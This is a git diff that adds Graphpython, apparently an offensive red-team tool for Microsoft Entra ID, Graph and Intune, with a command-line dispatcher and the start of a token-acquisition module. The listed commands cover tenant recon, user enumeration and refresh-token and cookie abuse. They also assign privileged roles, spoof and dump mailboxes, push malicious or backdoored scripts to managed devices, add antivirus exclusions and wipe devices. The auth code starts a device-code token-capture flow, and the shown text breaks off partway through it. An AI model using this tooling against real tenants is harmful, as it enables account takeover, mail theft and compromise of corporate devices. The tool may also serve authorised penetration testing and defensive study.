diff --git a/.github/addapplicationcertificate-gen.png b/.github/addapplicationcertificate-gen.png
new file mode 100644
index 0000000..766e376
Binary files /dev/null and b/.github/addapplicationcertificate-gen.png differ
diff --git a/.github/addapplicationcertificate-portal.png b/.github/addapplicationcertificate-portal.png
new file mode 100644
index 0000000..ff38963
Binary files /dev/null and b/.github/addapplicationcertificate-portal.png differ
diff --git a/.github/addapplicationcertificate.png b/.github/addapplicationcertificate.png
new file mode 100644
index 0000000..a63d043
Binary files /dev/null and b/.github/addapplicationcertificate.png differ
diff --git a/.github/addapplicationpermission.png b/.github/addapplicationpermission.png
new file mode 100644
index 0000000..0f080cf
Binary files /dev/null and b/.github/addapplicationpermission.png differ
diff --git a/.github/addexclusiongroup1.png b/.github/addexclusiongroup1.png
new file mode 100644
index 0000000..2bda517
Binary files /dev/null and b/.github/addexclusiongroup1.png differ
diff --git a/.github/addexclusiongroup2.png b/.github/addexclusiongroup2.png
new file mode 100644
index 0000000..3eb85f4
Binary files /dev/null and b/.github/addexclusiongroup2.png differ
diff --git a/.github/addexclusiongroup3.png b/.github/addexclusiongroup3.png
new file mode 100644
index 0000000..620e39f
Binary files /dev/null and b/.github/addexclusiongroup3.png differ
diff --git a/.github/addexclusiongroup4.png b/.github/addexclusiongroup4.png
new file mode 100644
index 0000000..3143553
Binary files /dev/null and b/.github/addexclusiongroup4.png differ
diff --git a/.github/apiperms.png b/.github/apiperms.png
new file mode 100644
index 0000000..338752f
Binary files /dev/null and b/.github/apiperms.png differ
diff --git a/.github/assignprivilegedrole.png b/.github/assignprivilegedrole.png
index e927f73..f76d05f 100644
Binary files a/.github/assignprivilegedrole.png and b/.github/assignprivilegedrole.png differ
diff --git a/.github/azureperms1.png b/.github/azureperms1.png
new file mode 100644
index 0000000..e0be3fa
Binary files /dev/null and b/.github/azureperms1.png differ
diff --git a/.github/azureperms2.png b/.github/azureperms2.png
new file mode 100644
index 0000000..87f9671
Binary files /dev/null and b/.github/azureperms2.png differ
diff --git a/.github/backdoorscript.png b/.github/backdoorscript.png
new file mode 100644
index 0000000..2a9f28d
Binary files /dev/null and b/.github/backdoorscript.png differ
diff --git a/.github/certtoaccesstoken.png b/.github/certtoaccesstoken.png
new file mode 100644
index 0000000..1f65d4b
Binary files /dev/null and b/.github/certtoaccesstoken.png differ
diff --git a/.github/createdirbackdoored.png b/.github/createdirbackdoored.png
new file mode 100644
index 0000000..607e6e0
Binary files /dev/null and b/.github/createdirbackdoored.png differ
diff --git a/.github/deploymaliciousscript-intuneportal.png b/.github/deploymaliciousscript-intuneportal.png
new file mode 100644
index 0000000..1298d7f
Binary files /dev/null and b/.github/deploymaliciousscript-intuneportal.png differ
diff --git a/.github/deploymaliciousscript.png b/.github/deploymaliciousscript.png
new file mode 100644
index 0000000..10ec67e
Binary files /dev/null and b/.github/deploymaliciousscript.png differ
diff --git a/.github/deploymaliciousweblink-ime.png b/.github/deploymaliciousweblink-ime.png
new file mode 100644
index 0000000..eb90451
Binary files /dev/null and b/.github/deploymaliciousweblink-ime.png differ
diff --git a/.github/deploymaliciousweblink-portal.png b/.github/deploymaliciousweblink-portal.png
new file mode 100644
index 0000000..714df52
Binary files /dev/null and b/.github/deploymaliciousweblink-portal.png differ
diff --git a/.github/deploymaliciousweblink2.png b/.github/deploymaliciousweblink2.png
new file mode 100644
index 0000000..3930ff3
Binary files /dev/null and b/.github/deploymaliciousweblink2.png differ
diff --git a/.github/deploymaliciousweblink3.png b/.github/deploymaliciousweblink3.png
new file mode 100644
index 0000000..fade3f2
Binary files /dev/null and b/.github/deploymaliciousweblink3.png differ
diff --git a/.github/displayavpolicyrules.png b/.github/displayavpolicyrules.png
index 813cb7e..bd9086d 100644
Binary files a/.github/displayavpolicyrules.png and b/.github/displayavpolicyrules.png differ
diff --git a/.github/dump-devicemanabenentscritps.png b/.github/dump-devicemanabenentscritps.png
index cb36ee6..5d3ec77 100644
Binary files a/.github/dump-devicemanabenentscritps.png and b/.github/dump-devicemanabenentscritps.png differ
diff --git a/.github/dumpwindowsapps.png b/.github/dumpwindowsapps.png
new file mode 100644
index 0000000..40ce1e7
Binary files /dev/null and b/.github/dumpwindowsapps.png differ
diff --git a/.github/estsauthcookie.png b/.github/estsauthcookie.png
index 5ff10c0..e032a18 100644
Binary files a/.github/estsauthcookie.png and b/.github/estsauthcookie.png differ
diff --git a/.github/finddynamicgroups.png b/.github/finddynamicgroups.png
new file mode 100644
index 0000000..08dec1c
Binary files /dev/null and b/.github/finddynamicgroups.png differ
diff --git a/.github/findprivilegedapps.png b/.github/findprivilegedapps.png
new file mode 100644
index 0000000..a04648b
Binary files /dev/null and b/.github/findprivilegedapps.png differ
diff --git a/.github/findprivilegedroleusers.png b/.github/findprivilegedroleusers.png
new file mode 100644
index 0000000..f3c8f87
Binary files /dev/null and b/.github/findprivilegedroleusers.png differ
diff --git a/.github/findupdatablegroups.png b/.github/findupdatablegroups.png
new file mode 100644
index 0000000..776b538
Binary files /dev/null and b/.github/findupdatablegroups.png differ
diff --git a/.github/getapplication-verified.png b/.github/getapplication-verified.png
new file mode 100644
index 0000000..410400a
Binary files /dev/null and b/.github/getapplication-verified.png differ
diff --git a/.github/getapplication.png b/.github/getapplication.png
new file mode 100644
index 0000000..8b739f7
Binary files /dev/null and b/.github/getapplication.png differ
diff --git a/.github/getcurrentuser.png b/.github/getcurrentuser.png
new file mode 100644
index 0000000..85d4438
Binary files /dev/null and b/.github/getcurrentuser.png differ
diff --git a/.github/getdevicecompliancepolicies.png b/.github/getdevicecompliancepolicies.png
new file mode 100644
index 0000000..6079dbf
Binary files /dev/null and b/.github/getdevicecompliancepolicies.png differ
diff --git a/.github/getdeviceconfigurationpolicies.png b/.github/getdeviceconfigurationpolicies.png
new file mode 100644
index 0000000..e7bbbc6
Binary files /dev/null and b/.github/getdeviceconfigurationpolicies.png differ
diff --git a/.github/getdomains.png b/.github/getdomains.png
new file mode 100644
index 0000000..801145f
Binary files /dev/null and b/.github/getdomains.png differ
diff --git a/.github/getgraphtokens.png b/.github/getgraphtokens.png
index e2cabaa..a50fdd3 100644
Binary files a/.github/getgraphtokens.png and b/.github/getgraphtokens.png differ
diff --git a/.github/getgroup.png b/.github/getgroup.png
new file mode 100644
index 0000000..24f4a55
Binary files /dev/null and b/.github/getgroup.png differ
diff --git a/.github/getgroupmember-dynamic.png b/.github/getgroupmember-dynamic.png
new file mode 100644
index 0000000..b679c2a
Binary files /dev/null and b/.github/getgroupmember-dynamic.png differ
diff --git a/.github/getgroupmember.png b/.github/getgroupmember.png
index 4d5169c..87742cf 100644
Binary files a/.github/getgroupmember.png and b/.github/getgroupmember.png differ
diff --git a/.github/getgroupmember2.png b/.github/getgroupmember2.png
new file mode 100644
index 0000000..75eb0d7
Binary files /dev/null and b/.github/getgroupmember2.png differ
diff --git a/.github/getgroupmemberafter.png b/.github/getgroupmemberafter.png
index 39d743e..870ea34 100644
Binary files a/.github/getgroupmemberafter.png and b/.github/getgroupmemberafter.png differ
diff --git a/.github/getmanageddevices.png b/.github/getmanageddevices.png
new file mode 100644
index 0000000..1649fed
Binary files /dev/null and b/.github/getmanageddevices.png differ
diff --git a/.github/getscriptcontent-new.png b/.github/getscriptcontent-new.png
new file mode 100644
index 0000000..35c4177
Binary files /dev/null and b/.github/getscriptcontent-new.png differ
diff --git a/.github/getscriptcontent.png b/.github/getscriptcontent.png
index 7e9f75d..1486c8e 100644
Binary files a/.github/getscriptcontent.png and b/.github/getscriptcontent.png differ
diff --git a/.github/gettenantid.png b/.github/gettenantid.png
new file mode 100644
index 0000000..c83d236
Binary files /dev/null and b/.github/gettenantid.png differ
diff --git a/.github/gettokenscope.png b/.github/gettokenscope.png
new file mode 100644
index 0000000..932bfe1
Binary files /dev/null and b/.github/gettokenscope.png differ
diff --git a/.github/getuser-all.png b/.github/getuser-all.png
new file mode 100644
index 0000000..787c3b1
Binary files /dev/null and b/.github/getuser-all.png differ
diff --git a/.github/getuser.png b/.github/getuser.png
index 0ab75dd..0aa1561 100644
Binary files a/.github/getuser.png and b/.github/getuser.png differ
diff --git a/.github/getuserdevices.png b/.github/getuserdevices.png
new file mode 100644
index 0000000..024329c
Binary files /dev/null and b/.github/getuserdevices.png differ
diff --git a/.github/getuserprivileges.png b/.github/getuserprivileges.png
new file mode 100644
index 0000000..6f007b3
Binary files /dev/null and b/.github/getuserprivileges.png differ
diff --git a/.github/getuserproperties.png b/.github/getuserproperties.png
new file mode 100644
index 0000000..888138f
Binary files /dev/null and b/.github/getuserproperties.png differ
diff --git a/.github/grantappadminconsent.png b/.github/grantappadminconsent.png
new file mode 100644
index 0000000..7488831
Binary files /dev/null and b/.github/grantappadminconsent.png differ
diff --git a/.github/inviteguestuser.png b/.github/inviteguestuser.png
index 47e1efd..62609dd 100644
Binary files a/.github/inviteguestuser.png and b/.github/inviteguestuser.png differ
diff --git a/.github/invokesearch.png b/.github/invokesearch.png
new file mode 100644
index 0000000..b67c85f
Binary files /dev/null and b/.github/invokesearch.png differ
diff --git a/.github/invokeuserenum.png b/.github/invokeuserenum.png
new file mode 100644
index 0000000..93bf5f0
Binary files /dev/null and b/.github/invokeuserenum.png differ
diff --git a/.github/listrecentonedrivefiles.png b/.github/listrecentonedrivefiles.png
new file mode 100644
index 0000000..7a7c44e
Binary files /dev/null and b/.github/listrecentonedrivefiles.png differ
diff --git a/.github/listsharepointroot.png b/.github/listsharepointroot.png
deleted file mode 100644
index 863a51c..0000000
Binary files a/.github/listsharepointroot.png and /dev/null differ
diff --git a/.github/locatedirectoryrole.png b/.github/locatedirectoryrole.png
new file mode 100644
index 0000000..48acc67
Binary files /dev/null and b/.github/locatedirectoryrole.png differ
diff --git a/.github/locateobjectid2.png b/.github/locateobjectid2.png
new file mode 100644
index 0000000..3ebf2d7
Binary files /dev/null and b/.github/locateobjectid2.png differ
diff --git a/.github/locatepermissionid.png b/.github/locatepermissionid.png
new file mode 100644
index 0000000..4eee59c
Binary files /dev/null and b/.github/locatepermissionid.png differ
diff --git a/.github/locatepermissionid2.png b/.github/locatepermissionid2.png
new file mode 100644
index 0000000..93249e0
Binary files /dev/null and b/.github/locatepermissionid2.png differ
diff --git a/.github/reconasoutsider.png b/.github/reconasoutsider.png
new file mode 100644
index 0000000..68c6c62
Binary files /dev/null and b/.github/reconasoutsider.png differ
diff --git a/.github/refreshtoazuremanagement.png b/.github/refreshtoazuremanagement.png
new file mode 100644
index 0000000..c7d0f3e
Binary files /dev/null and b/.github/refreshtoazuremanagement.png differ
diff --git a/.github/refreshtomsgraph.png b/.github/refreshtomsgraph.png
new file mode 100644
index 0000000..84ac68c
Binary files /dev/null and b/.github/refreshtomsgraph.png differ
diff --git a/.github/removegroupmember.png b/.github/removegroupmember.png
index ca7377a..93950dd 100644
Binary files a/.github/removegroupmember.png and b/.github/removegroupmember.png differ
diff --git a/.github/spoofowaemail.png b/.github/spoofowaemail.png
new file mode 100644
index 0000000..6bf20c6
Binary files /dev/null and b/.github/spoofowaemail.png differ
diff --git a/.github/spoofowaemailcommand.png b/.github/spoofowaemailcommand.png
new file mode 100644
index 0000000..f048a6a
Binary files /dev/null and b/.github/spoofowaemailcommand.png differ
diff --git a/.github/updateuserproperties.png b/.github/updateuserproperties.png
new file mode 100644
index 0000000..ef8e9d6
Binary files /dev/null and b/.github/updateuserproperties.png differ
diff --git a/.github/usage.png b/.github/usage.png
new file mode 100644
index 0000000..f8ee0e1
Binary files /dev/null and b/.github/usage.png differ
diff --git a/.github/webapplink-desktop.png b/.github/webapplink-desktop.png
new file mode 100644
index 0000000..29024f0
Binary files /dev/null and b/.github/webapplink-desktop.png differ
diff --git a/.github/webapplink-dir.png b/.github/webapplink-dir.png
new file mode 100644
index 0000000..7cdb7c2
Binary files /dev/null and b/.github/webapplink-dir.png differ
diff --git a/.github/webapplink-salesportal.png b/.github/webapplink-salesportal.png
new file mode 100644
index 0000000..d9a1115
Binary files /dev/null and b/.github/webapplink-salesportal.png differ
diff --git a/.github/webapplink-start.png b/.github/webapplink-start.png
new file mode 100644
index 0000000..7371722
Binary files /dev/null and b/.github/webapplink-start.png differ
diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..4e7a394
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,4 @@
+build/
+dist/
+*.egg-info/
+__pycache__/
diff --git a/Graphpython.py b/Graphpython.py
new file mode 100644
index 0000000..81913b7
--- /dev/null
+++ b/Graphpython.py
@@ -0,0 +1,6 @@
+#!/usr/bin/env python3
+
+from Graphpython.__main__ import main
+
+if __name__ == '__main__':
+ main()
diff --git a/Graphpython/MANIFEST.in b/Graphpython/MANIFEST.in
new file mode 100644
index 0000000..318dde9
--- /dev/null
+++ b/Graphpython/MANIFEST.in
@@ -0,0 +1,4 @@
+include Graphpython/commands/graphpermissions.txt
+include Graphpython/commands/directoryroles.txt
+include requirements.txt
+include README.md
diff --git a/Graphpython/__init__.py b/Graphpython/__init__.py
new file mode 100644
index 0000000..1321f68
--- /dev/null
+++ b/Graphpython/__init__.py
@@ -0,0 +1 @@
+# chama
\ No newline at end of file
diff --git a/Graphpython/__main__.py b/Graphpython/__main__.py
new file mode 100644
index 0000000..afdf862
--- /dev/null
+++ b/Graphpython/__main__.py
@@ -0,0 +1,223 @@
+#!/usr/bin/env python3
+
+import sys
+import argparse
+import textwrap
+from Graphpython.commands import outsider, auth, enum, exploit, intune_enum, intune_exploit, cleanup, locators
+from Graphpython.utils.helpers import list_commands, print_red
+
+def parseArgs():
+
+ version = "1.0"
+ print(f"\n\033[3mGraphpython v{version} - @mlcsec\033[0m\n")
+ parser = argparse.ArgumentParser(
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ epilog=textwrap.dedent('''\
+ examples:
+ Graphpython --command invoke-reconasoutsider --domain company.com
+ Graphpython --command invoke-userenumerationasoutsider --username
+ Graphpython --command get-graphtokens
+ Graphpython --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token
+ Graphpython --command get-users --token eyJ0... -- select displayname,id [--id ]
+ Graphpython --command list-recentonedrivefiles --token token
+ Graphpython --command invoke-search --search "credentials" --entity driveItem --token token
+ Graphpython --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token
+ Graphpython --command assign-privilegedrole --token token
+ Graphpython --command spoof-owaemailmessage [--id ] --token token --email email-body.txt
+ Graphpython --command get-manageddevices --token intune-token
+ Graphpython --command deploy-maliciousscript --script malicious.ps1 --token token
+ Graphpython --command backdoor-script --id --script backdoored-script.ps1 --token token
+ Graphpython --command add-exclusiongrouptopolicy --id --token token
+ Graphpython --command reboot-device --id --token eyj0...
+ ''')
+ )
+ parser.add_argument("--command", help="Command to execute")
+ parser.add_argument("--list-commands", action="store_true", help="List available commands")
+ parser.add_argument("--token", help="Microsoft Graph access token or refresh token for FOCI abuse")
+ parser.add_argument("--estsauthcookie", help="'ESTSAuth' or 'ESTSAuthPersistent' cookie")
+ parser.add_argument("--use-cae", action="store_true", help="Flag to use Continuous Access Evaluation (CAE)")
+ parser.add_argument("--cert", help="X509Certificate path (.pfx, .crt, .pem, .cer)")
+ parser.add_argument("--domain", help="Target domain")
+ parser.add_argument("--tenant", help="Target tenant ID")
+ parser.add_argument("--username", help="Username or file containing usernames (invoke-userenumerationasoutsider)")
+ parser.add_argument("--secret", help="Enterprise application secretText (invoke-appsecrettoaccesstoken)")
+ parser.add_argument("--id", help="ID of target object")
+ parser.add_argument("--select", help="Fields to select from output")
+ parser.add_argument("--query", help="Raw API query URL (GET only)")
+ parser.add_argument("--search", help="Search string")
+ parser.add_argument("--entity", choices=['driveItem', 'message', 'chatMessage', 'site', 'event'],help="Search entity type: driveItem(OneDrive), message(Mail), chatMessage(Teams), site(SharePoint), event(Calenders)")
+ parser.add_argument("--device", choices=['Mac', 'Windows', 'AndroidMobile', 'iPhone'], help="Device type for User-Agent forging")
+ parser.add_argument("--browser", choices=['Android', 'IE', 'Chrome', 'Firefox', 'Edge', 'Safari'], help="Browser type for User-Agent forging")
+ parser.add_argument("--only-return-cookies", action="store_true", help="Only return cookies from the request (open-owamailboxinbrowser)")
+ parser.add_argument("--mail-folder", choices=['Allitems', 'inbox', 'archive', 'drafts', 'sentitems', 'deleteditems', 'recoverableitemsdeletions'], help="Mail folder to dump (dump-owamailbox)")
+ parser.add_argument("--top", type=int, help="Number (int) of messages to retrieve (dump-owamailbox)")
+ parser.add_argument("--script", help="File containing the script content (deploy-maliciousscript or backdoor-script)")
+ parser.add_argument("--email", help="File containing OWA email message body content (spoof-owaemailmessage)")
+
+ args = parser.parse_args()
+ return args, parser
+
+def main():
+
+ args, parser = parseArgs()
+
+ available_commands = [
+ "invoke-reconasoutsider","invoke-userenumerationasoutsider","get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken",
+ "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken", "invoke-refreshtovaulttoken",
+ "invoke-refreshtomsteamstoken", "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken",
+ "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken",
+ "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken", "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken", "invoke-appsecrettoaccesstoken",
+ "new-signedjwt", "get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains", "get-user", "get-userproperties",
+ "get-userprivileges", "get-usertransitivegroupmembership", "get-group", "get-groupmember", "get-userapproleassignments", "get-serviceprincipalapproleassignments",
+ "get-conditionalaccesspolicy", "get-personalcontacts", "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy",
+ "get-userchatmessages", "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants",
+ "get-messages", "get-temporaryaccesspassword", "get-password", "list-authmethods", "list-directoryroles", "list-notebooks",
+ "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts", "list-conditionalnamedlocations", "list-sharepointroot",
+ "list-sharepointsites","list-sharepointurls", "list-externalconnections", "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams",
+ "list-chats", "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls",
+ "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "find-updatablegroups", "find-dynamicgroups","find-securitygroups",
+ "locate-objectid", "update-userpassword", "add-applicationpassword", "add-usertap", "add-groupmember", "create-application",
+ "create-newuser", "invite-guestuser", "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage",
+ "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device", "locate-directoryrole",
+ "get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories", "get-devicecompliancepolicies", "update-deviceconfig",
+ "get-devicecompliancesummary", "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings",
+ "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations","update-userproperties", "dump-windowsapps", "dump-iosapps", "dump-androidapps",
+ "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "get-scriptcontent", "find-privilegedapplications", "dump-macosapps", "deploy-maliciousweblink",
+ "get-roledefinitions", "get-roleassignments", "display-avpolicyrules", "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules",
+ "display-firewallrulepolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules", "get-appserviceprincipal",
+ "display-edrpolicyrules","add-exclusiongrouptopolicy", "deploy-maliciousscript", "reboot-device", "shutdown-device", "lock-device", "backdoor-script",
+ "add-applicationpermission", "new-signedjwt", "add-applicationcertificate", "get-application", "locate-permissionid", "get-serviceprincipal", "grant-appadminconsent"
+ ]
+
+ if len(sys.argv) == 1:
+ parser.print_help()
+ sys.exit()
+
+ if args.list_commands:
+ list_commands()
+ return
+
+ if args.command and args.command.lower() in [
+ "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken",
+ "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken",
+ "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken",
+ "invoke-refreshtooutlooktoken","invoke-refreshtosubstratetoken", "invoke-refreshtoyammertoken",
+ "invoke-refreshtointuneenrollmenttoken", "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken",
+ "get-tokenscope", "decode-accesstoken", "get-manageddevices", "get-userdevices", "get-user",
+ "get-userproperties", "get-userprivileges", "get-usertransitivegroupmembership", "get-group",
+ "get-groupmember", "get-userapproleassignments", "get-conditionalaccesspolicy", "get-personalcontacts",
+ "get-crosstenantaccesspolicy", "get-partnercrosstenantaccesspolicy", "get-userchatmessages",
+ "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants", "get-oauth2permissiongrants",
+ "get-messages", "get-temporaryaccesspassword", "get-password", "get-currentuser",
+ "get-currentuseractivities", "get-orginfo", "get-domains", "list-authmethods", "list-directoryroles",
+ "list-notebooks", "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts",
+ "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites", "list-sharepointurls","list-externalconnections",
+ "list-applications", "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats", "deploy-maliciousweblink",
+ "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives", "list-recentonedrivefiles", "list-onedriveurls",
+ "list-sharedonedrivefiles", "invoke-customquery", "invoke-search", "find-privilegedroleusers", "display-firewallconfigpolicyrules",
+ "find-updatablegroups", "find-dynamicgroups","find-securitygroups", "locate-objectid", "update-userpassword", "add-applicationpassword",
+ "add-usertap", "add-groupmember", "create-application", "create-newuser", "invite-guestuser", "update-deviceconfig",
+ "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox", "spoof-owaemailmessage", "dump-androidapps",
+ "delete-user", "delete-group", "remove-groupmember", "delete-application", "delete-device", "wipe-device", "retire-device",
+ "get-caps", "get-devicecategories", "display-devicecompliancepolicies", "get-devicecompliancesummary", "dump-macosapps",
+ "get-deviceconfigurations", "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings", "dump-iosapps",
+ "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations", "grant-appadminconsent", "dump-windowsapps",
+ "get-devicegrouppolicydefinition", "dump-devicemanagementscripts", "update-userproperties", "find-privilegedapplications",
+ "get-scriptcontent", "get-roledefinitions", "get-roleassignments", "display-avpolicyrules","get-appserviceprincipal",
+ "display-asrpolicyrules", "display-diskencryptionpolicyrules", "display-firewallrulepolicyrules", "backdoor-script",
+ "display-edrpolicyrules", "display-lapsaccountprotectionpolicyrules", "display-usergroupaccountprotectionpolicyrules",
+ "add-exclusiongrouptopolicy","deploy-maliciousscript", "reboot-device", "add-applicationpermission", "new-signedjwt",
+ "add-applicationcertificate", "get-application", "get-serviceprincipal", "get-serviceprincipalapproleassignments"]:
+ if not args.token:
+ print_red(f"[-] Error: --token is required for command")
+ return
+
+ try:
+ # Outsider commands
+ if args.command in ["invoke-reconasoutsider", "invoke-userenumerationasoutsider"]:
+ getattr(outsider, args.command.replace("-", "_"))(args)
+
+ # Authentication commands
+ elif args.command in ["get-graphtokens", "get-tenantid", "get-tokenscope", "decode-accesstoken",
+ "invoke-refreshtomsgraphtoken", "invoke-refreshtoazuremanagementtoken",
+ "invoke-refreshtovaulttoken", "invoke-refreshtomsteamstoken",
+ "invoke-refreshtoofficeappstoken", "invoke-refreshtoofficemanagementtoken",
+ "invoke-refreshtooutlooktoken", "invoke-refreshtosubstratetoken",
+ "invoke-refreshtoyammertoken", "invoke-refreshtointuneenrollmenttoken",
+ "invoke-refreshtoonedrivetoken", "invoke-refreshtosharepointtoken",
+ "invoke-certtoaccesstoken", "invoke-estscookietoaccesstoken",
+ "invoke-appsecrettoaccesstoken", "new-signedjwt"]:
+ getattr(auth, args.command.replace("-", "_"))(args)
+
+ # Enumeration commands
+ elif args.command in ["get-currentuser", "get-currentuseractivities", "get-orginfo", "get-domains",
+ "get-user", "get-userproperties", "get-userprivileges",
+ "get-usertransitivegroupmembership", "get-group", "get-groupmember",
+ "get-userapproleassignments", "get-conditionalaccesspolicy",
+ "get-application", "get-personalcontacts", "get-crosstenantaccesspolicy",
+ "get-partnercrosstenantaccesspolicy", "get-userchatmessages",
+ "get-administrativeunitmember", "get-onedrivefiles", "get-userpermissiongrants",
+ "get-oauth2permissiongrants", "get-messages", "get-temporaryaccesspassword",
+ "get-password", "list-authmethods", "list-directoryroles", "list-notebooks",
+ "list-conditionalaccesspolicies", "list-conditionalauthenticationcontexts",
+ "list-conditionalnamedlocations", "list-sharepointroot", "list-sharepointsites",
+ "list-sharepointurls", "list-externalconnections", "list-applications", "list-onedriveurls",
+ "list-serviceprincipals", "list-tenants", "list-joinedteams", "list-chats",
+ "list-chatmessages", "list-devices", "list-administrativeunits", "list-onedrives",
+ "list-recentonedrivefiles", "list-sharedonedrivefiles", "get-appserviceprincipal",
+ "get-serviceprincipal", "get-serviceprincipalapproleassignments"]:
+ getattr(enum, args.command.replace("-", "_"))(args)
+
+ # Exploitation commands
+ elif args.command in ["invoke-customquery","invoke-search", "find-privilegedroleusers", "find-privilegedapplications",
+ "find-updatablegroups","find-dynamicgroups", "find-securitygroups",
+ "update-userpassword", "update-userproperties", "add-usertap", "add-groupmember",
+ "create-application", "create-newuser", "invite-guestuser",
+ "assign-privilegedrole", "open-owamailboxinbrowser", "dump-owamailbox",
+ "spoof-owaemailmessage", "add-applicationpermission", "add-applicationcertificate",
+ "add-applicationpassword", "grant-appadminconsent"]:
+ getattr(exploit, args.command.replace("-", "_"))(args)
+
+ # Intune enum commands
+ elif args.command in ["get-manageddevices", "get-userdevices", "get-caps", "get-devicecategories",
+ "get-devicecompliancesummary", "get-deviceconfigurations",
+ "get-deviceconfigurationpolicies", "get-deviceconfigurationpolicysettings",
+ "get-deviceenrollmentconfigurations", "get-devicegrouppolicyconfigurations",
+ "get-devicegrouppolicydefinition", "get-roledefinitions", "get-roleassignments",
+ "get-devicecompliancepolicies"]:
+ getattr(intune_enum, args.command.replace("-", "_"))(args)
+
+ # Intune exploit commands
+ elif args.command in ["dump-devicemanagementscripts","dump-windowsapps", "dump-iosapps",
+ "dump-androidapps", "dump-macosapps","get-scriptcontent",
+ "display-avpolicyrules", "display-asrpolicyrules",
+ "display-diskencryptionpolicyrules", "display-firewallconfigpolicyrules",
+ "display-firewallrulepolicyrules", "display-edrpolicyrules",
+ "display-lapsaccountprotectionpolicyrules",
+ "display-usergroupaccountprotectionpolicyrules", "add-exclusiongrouptopolicy",
+ "deploy-maliciousscript", "deploy-maliciousweblink", "backdoor-script",
+ "update-deviceconfig", "reboot-device", "lock-device", "shutdown-device"]:
+ getattr(intune_exploit, args.command.replace("-", "_"))(args)
+
+ # Cleanup commands
+ elif args.command in ["delete-user", "delete-group", "remove-groupmember", "delete-application",
+ "delete-device", "wipe-device", "retire-device"]:
+ getattr(cleanup, args.command.replace("-", "_"))(args)
+
+ # Locator commands
+ elif args.command in ["locate-objectid", "locate-permissionid", "locate-directoryrole"]:
+ getattr(locators, args.command.replace("-", "_"))(args)
+
+ # ...
+ elif args.command and args.command.lower() not in available_commands:
+ print_red(f"[-] Error: Unknown command '{args.command}'. Use --list-commands to see available commands")
+
+ except KeyboardInterrupt:
+ print_red("\n[-] Operation cancelled by user")
+ sys.exit(1)
+ except Exception as e:
+ print_red(f"\n[-] An error occurred while executing '{args.command}': {str(e)}")
+ sys.exit(1)
+
+if __name__ == "__main__":
+ main()
\ No newline at end of file
diff --git a/Graphpython/commands/__init__.py b/Graphpython/commands/__init__.py
new file mode 100644
index 0000000..1321f68
--- /dev/null
+++ b/Graphpython/commands/__init__.py
@@ -0,0 +1 @@
+# chama
\ No newline at end of file
diff --git a/Graphpython/commands/auth.py b/Graphpython/commands/auth.py
new file mode 100644
index 0000000..b01aacd
--- /dev/null
+++ b/Graphpython/commands/auth.py
@@ -0,0 +1,1200 @@
+import requests
+import json
+import jwt
+import hashlib
+import time
+import base64
+import uuid
+import sys
+from datetime import datetime, timedelta, timezone
+from cryptography import x509
+from cryptography.hazmat.primitives import hashes, serialization
+from cryptography.hazmat.primitives.serialization import pkcs12
+from cryptography.hazmat.backends import default_backend
+from urllib.parse import urlencode, urlparse, parse_qs
+from Graphpython.utils.helpers import print_yellow, print_green, print_red, get_user_agent, get_access_token
+
+##################
+# Authentication #
+##################
+
+# get-graphtokens
+def get_graphtokens(args):
+ print_yellow("[*] Get-GraphTokens")
+ print("=" * 80)
+ client_id = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
+ resource = "https://graph.microsoft.com"
+ user_agent = get_user_agent(args)
+
+ body = {
+ "client_id": client_id,
+ "resource": resource
+ }
+
+ headers = {
+ "User-Agent": user_agent
+ }
+
+ device_code_response = requests.post("https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0", data=body, headers=headers)
+ device_code_response_content = device_code_response.content.decode()
+ device_code = None
+ message = None
+
+ try:
+ device_code_json_response = json.loads(device_code_response_content)
+ device_code = device_code_json_response["device_code"]
+ message = device_code_json_response["message"]
+
+ except Exception as ex:
+ print_red(f"[-] Failed to parse device code response: {ex}")
+ print("=" * 80)
+ exit()
+
+ print(f"{message}\n")
+ time.sleep(3)
+
+ start_time = datetime.now()
+ polling_duration = timedelta(minutes=15)
+ last_authorization_pending_time = datetime.min
+
+ while datetime.now() - start_time < polling_duration:
+ token_body = {
+ "client_id": client_id,
